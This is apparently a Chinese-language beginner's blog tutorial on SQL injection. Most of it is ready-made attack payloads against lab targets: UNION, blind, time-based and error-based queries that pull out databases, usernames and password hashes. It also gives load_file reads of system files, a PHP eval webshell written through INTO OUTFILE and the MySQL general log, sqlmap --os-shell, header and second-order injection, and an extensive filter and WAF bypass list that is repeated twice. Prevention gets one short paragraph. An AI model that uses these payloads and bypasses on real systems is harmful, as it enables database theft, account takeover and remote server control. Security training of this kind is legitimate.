小白SQL注入基础入门

一、SQL分类 基于变量数据类型分 数字型注入 字符型注入 基于获取数据的方法 基于回显 基于错误 盲注 布尔型盲注基于时间盲注 基于注入点位置分类 GET注入 Cookie注入 POST注入 二、SQL...

一、SQL分类

基于变量数据类型分

数字型注入 字符型注入

基于获取数据的方法

基于回显 基于错误 盲注 布尔型盲注基于时间盲注

基于注入点位置分类

GET注入 Cookie注入 POST注入

二、SQL注入测试方法

1.寻找注入点(登录框,表单,http头部(cookie,ua,re),搜索或者查找。。) 2.构造测试语句->1,判断注入类型(数字,字符)->2,闭合(--+ #)

3.通过order by判断列数

4.通过union select判断回显位置

5.构造语句,获取数据 database()

三、万能密码

1‘ or 1#

四、MYSQL基础知识

重要名称

information_schema 在php5.0以后支持的 information_schema.schemata 存放的是所有数据库名 information_schema.tables 存放的是所有表名 information_schema.columns 存放的是所有列名 table_schema 数据库名字 table_name 表名 column_name 列名 column_name 用来获取数据库的

SQL命令

1.查看当前数据库 show databases

2.创建数据库 create database wljy charset=gbk;

3.使用数据库 use wljy;

4.查看当前数据表 show tables;

5.创建数据表 default : 默认值 comment: 备注 表类型:int varchar(50) auto_increment自动增长 primary key create table test(id int primary key auto_increment,name varchar(50) not null,addr varchar(25) not null default '中国')engine=innodb charset=utf8;

6.查看表结构 desc(descripe) test show create table \G -- 将结果竖着排列

7.插入数据 insert into test(id,name,addr) values(1,'张三','福建'); insert into test values(null,'李四','东北'); insert into test(addr) values(''栋京'); // 报错 insert into test(name,addr) values('tom',default);

8.查看数据 select * from test where id=3; // 查id为3的所有信息 select name from test where id=3 // 查id为3的name信息

9.删除数据 delete from test where id=3;

10.删除表 drop table 表名

11.更新数据 update test set name='王五' where id=2;

1.使用mysqli函数,需要先开启对应的扩展

extension=php_mysqli.dll mysqli_connect(user,dbname);

2.设置字符编码 mysqli_set_charset(中文乱码写语句sql="select * from 510_admin";

5.执行sql语句,获取对象 con,获取对象数据rs] assoc 关联 row 索引 array 索引+关联

五、UNION注入

构造查询语句 1,暴库 cms http://127.0.0.1/cms/show.php?id=-32union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+

2,暴所有数据库 concat()用来连接字符,group_concat将查询的结果在一行内展示 table_schema:用于条件判断。例如判断该数据库是否是cms 若出现Illegal mix of collations for operation 'UNION',通过convert(schema_name using latin1)修改编码即可。 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata --+

3,暴所有表名 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='cms' --+ //若单引号被过滤,可以通过十六进制编码代替 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636d73 --+

4,暴所有列名 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='cms' and table_name='cms_users'--+

5,获取字段 暴用户名 admin http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(username using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+ 暴密码 e10adc3949ba59abbe56e057f20f883e 解密后为:123456 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(password using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+ 通过concat_ws实现一次破解 http://127.0.0.1/cms/show.php?id=-32union select 1,2,group_concat(convert(concat_ws('-',username,password) using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+

六、布尔型盲注

判断数据库长度 通过length http://127.0.0.1/510cms/product.php?cid=3and length(database())=6# 通过burp获取数据库 http://127.0.0.1/510cms/product.php?cid=3and ascii(substr(database(),1,1))=53# 获取数据表个数 http://127.0.0.1/510cms/product.php?cid=3and (select count(*) from information_schema.tables where table_schema=database())=10# 判断第一个数据表的第一个字符 limit 0,1 http://127.0.0.1/510cms/product.php?cid=3and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=53# 或者select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=53; 第一张表:然后通过burp爆破substr第二个参数以及ascii的值即可 其他表只需要修改limit的第一个参数即可 爆破数据列 http://127.0.0.1/510cms/product.php?cid=3and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='510_admin' limit 0,1),1,1))=53 -- 通过正则匹配: http://127.0.0.1/510cms/product.php?cid=3and (select 1 from information_schema.columns where table_schema=database() and table_name='510_admin' and column_name regexp ^i limit 0,1) -- ?id=1' and 1=(select 1 from information_schema.column where table_name users%27%20and%20column_name%20regexp%20%27^username$%27%20limit%200,1)%20--+ 127.0.0.1/source/4.1.7/boolean.php?id=1' and (select 1 from information_schema.columns where table_name='users' and column_name regexp "^password" and table_schema=database()) --+ 通过模糊匹配: select 1 from information_schema.columns where table_name='users' and column_name like "%password%" and table_schema=database(); 爆破字段 方法:http://127.0.0.1/510cms/product.php?cid=3and ascii(substr((select name from 510_admin limit 0,1),1,1))=97 http://127.0.0.1/510cms/product.php?cid=3and ascii(substr((select passwd from 510_admin limit 0,1),1,1))=97

七、时间布尔型盲注

if()函数,第一个参数是条件,第二个参数是条件为真,第三个参数是条件为假 sleep(5) 暴库 id=1' and if(ascii(substr(database(),1,1))=114,1,sleep(5)) --+ 暴表 http://127.0.0.1/sqllab/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=105,1,sleep(3)) --+ 暴列 http://127.0.0.1/sqllab/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=105,1,sleep(3)) --+ 暴字段 username:http://127.0.0.1/sqllab/Less-8/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(3)) --+

八、报错注入

1.构造目标数据查询语句 2、选择报错注入函数 3、构造报错注入语句 4、拼接报错注入语句

要有print_r(mysql_error());函数

1.floor报错

暴表 http://127.0.0.1/sqllab/Less-3/?id=-1') and (select 1 from (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))a)--+

2.extractvalue报错

http://127.0.0.1/sqllab/Less-3/?id=-1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

3.updatexml报错

暴库 http://127.0.0.1/sqllab/Less-3/?id=-1') and updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 暴表 http://127.0.0.1/sqllab/Less-3/?id=-1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 暴列 http://127.0.0.1/sqllab/Less-3/?id=-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)--+ 暴字段 http://127.0.0.1/sqllab/Less-3/?id=-1') and updatexml(1,concat(0x7e,(select concat_ws(',',username,password) from users limit 0,1),0x7e),1)--+

九、文件读写

1https://www.freebuf.com/articles/web//union注入读取c:/pass.ini 文件 http://127.0.0.1/sqllab/Less-2/?id=-1union select 1,2,load_file("c:/pass.ini")# //也可以把 c:/pass.ini 转换成16进制 0x653a2f332e747874 http://127.0.0.1/sqllab/Less-2/?id=-1unionselect1,2,load_file(0x633a2f706173732e696e69)# 2.盲注:http://127.0.0.1/sqllab/Less-5/?id=1' and (select ascii(substr(hex(load_file('c:/pass.ini')),1,1))=69) --+

D:\phpStudy\MySQL\data\DESKTOP-4ARAL7A.logD:\phpStudy\MySQL\data\DESKTOP-4ARAL7A.log

webshell文件写入: http://127.0.0.1/sqllab/Less-2/?id=1union select 1,2,'<?php @eval($_POST["v"]);?>' into outfile 'D:/phpStudy/WWW/wljy.php' --+ //日志文件写webshell

show global variables like '%general%' 查看是否开启

set global general_log="ON"="ON"; //设置打开 //设置新的存储文件 set global general_log_file="D:\phpstudy2018\PHPTutorial\www\general_log_shell.php"; sqlmap写webshell sqlmap -u http://10.10.10.1/sqllab/Less-8/?id=1--os-shell 选择php文件,点击custom location 输入网站根目录就可以查看到写入的后面地址

十、堆叠注入

利用堆叠注入,查询所有数据库:

1';show databases;#

查询words表中所有列:

1';show columns from words;#

查询1919810931114514表中所有列

1';show columns from;# (字符串为表名操作时要加反引号)

第一种查字段

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tablesto;rename tablesto; alter tablechangevarchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

第二种查字段

查询表中数据的方法我没想到,百度了一下,有两种:1.页面默认查的是words表,将1919810931114514的表名和words交换;2.利用mysql的预处理。

预处理语句输入如下:

1';use supersqli;set @sql=concat('s','elect * from');PREPARE pre FROM @sql;EXECUTE pre;--+

用concat绕过了关键字的检查

11.宽字节注入

id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23

12.二次注入

UPDATE users SET PASSWORD='122211' where username='admin';

以SQLli 24关为例

注册 用户admin'#

进行登录

修改密码

利用单引号闭合 #注释 任意修改admin的密码

成功登录admin用户

13.user—Agent注入

UA注入:若ua信息会被执行,则可能存在UA注入

以sqli18关为例

User-Agent: 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

14.Cookie注入

uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

15.Referer注入

Referer: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

16.XFF注入

X-Forwarded-for: -127.0.0.1' union select 1 ,2,3,group_concat(schema_name) frominformation_schema.schemata#

17.Base注入

uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

18.SQL注入绕过

1绕过:' 通过十六进制

关键字为空,通过双写绕过

内联注释绕过 /! select/=被过滤 like regexp

空格被过滤 select() %0a,%d回车 或者tab

and or 被过滤 || &&

1.绕过空格(注释符,%a0)

#

两个空格代替一个空格,用Tab代替空格,%a0=空格:`

%20 %09 %0a %0b %0c %0d %a0 %00

最基本的绕过方法,用注释替换空格:

使用浮点数:

select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3

2.括号绕过空格

#

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

3.引号绕过(使用十六进制

#

会使用到引号的地方一般是在最后的子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。的十六进制的字符串是。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

4.逗号绕过(使用from或者offset

#

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2 ? ? #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 ? #等价于
select user() like 'r%'

对于可以使用来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

5.比较符号(<>)绕过

(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):#

使用greatest()、least():(前者返回最大值,后者返回最小值)#

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到来进行绕过了。   最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。   那么上面的这条sql语句可以使用变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

#

between a and b:

between 1 and 1; 等价于=1

6.or and xor not绕过:

#

and=&&  or=|| ? xor=| ? not=!

7.绕过注释符号(#,--(后面跟一个空格))过滤:#

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

8.=绕过:#

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union,select,where等:

#

(1)使用注释符绕过:#

常用注释符:

//,-- , , #, --+, -- -, ;,%00,--a

用法:

U NION  SE LECT user,pwd from user

1.绕过空格(注释符,%a0):#

%20 %09 %0a %0b %0c %0d %a0 %00   

最基本的绕过方法,用注释替换空格:

使用浮点数:

select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3

2.括号绕过空格:#

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

3.引号绕过(使用十六进制):#

会使用到引号的地方一般是在最后的子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。的十六进制的字符串是。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

4.逗号绕过(使用from或者offset):#

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2 ? ? #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 ? #等价于
select user() like 'r%'

对于可以使用来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):#

使用greatest()、least():(前者返回最大值,后者返回最小值)#

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到来进行绕过了。   最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。   那么上面的这条sql语句可以使用变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and: #

between a and b:

between 1 and 1; 等价于=1

6.or and xor not绕过:#

and=&&  or=|| ? xor=| ? not=!

7.绕过注释符号(#,--(后面跟一个空格))过滤:#

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

8.=绕过:#

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union,select,where等:#

(1)使用注释符绕过:#

常用注释符:

//,-- , , #, --+, -- -, ;,%00,--a

用法:

U NION  SE LECT user,pwd from user
(2)使用大小写绕过:#
id=-1'UnIoNSeLeCT
(3)内联注释绕过:#
id=-1' SeLeCT 1,2,concat() FrOM .tables  like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):#
id=-1'UNIunionONSeLselectECT1,2,3–-

10.通用绕过(编码):#

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11.等价函数绕过:#

hex()、bin()==> ascii()
?
sleep()==>benchmark()
?
concat_ws()==>group_concat()
?
mid()、substr()==> substring()
?
@@user==> user()
?
@@datadir==> datadir()
?
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
?
或者:
substr((select 'password'),1,1)=0x70
strcmp(left('password',1), 0x69)=1
strcmp(left('password',1), 0x70)=0
strcmp(left('password',1), 0x71)=-1

12.宽字节注入:#

过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(')=%5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:#

1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00 ? ? 
 ? ? \r ? ? \ ? ? ' ? ? " ? ? \x1a

(防御,将mysql设置为gbk即可)

PCRE绕过:#

union/'+'a'1000001+'*/select

id=-1'UnIoNSeLeCT

绕过部分来自于 https://www.cnblogs.com/Vinson404/p/7253255.html#714005754

19.预防SQL注入

预防:魔术引号或者addslash()对特殊符号转义,预编译,单引号或者双引号直接置空(递归),如果确定传递的参数是整数,就需要进行强制类型转换。md5加密 select * from table_name where username=?,password=?;

20.SQLMAP

通过GET

url: 1.暴数据库 --dbs 2.暴数据表 --tables -D xx 3.暴数据列 --columns -D xx -T xx 4.暴数据 -D xx -T xx -C xx --dump

通过POST

进行burp抓包 然后把http头部弄成txt文件

sqlmap -r 11.txt -p 参数

-p指定参数

--os -shell

21.正则表达 模糊匹配

正则匹配表达式:^表示以哪个字母开头,表示以哪个字母结尾,代表通配符代表字符或者数字,代表空格,代表个或一个,代表一个或多个,代表个或多个?=true 说明是admin这个字符串 模糊匹配:%代表通配符 http://127.0.0.1/sqllab/Less-8/?id=1' and if

  • 发表于 2021-04-15 22:08
  • 阅读 ( 206 )
  • 分类:互联网

0 条评论

请先 登录 后评论
q6980
q6980

677 篇文章

你可能感兴趣的文章

相关问题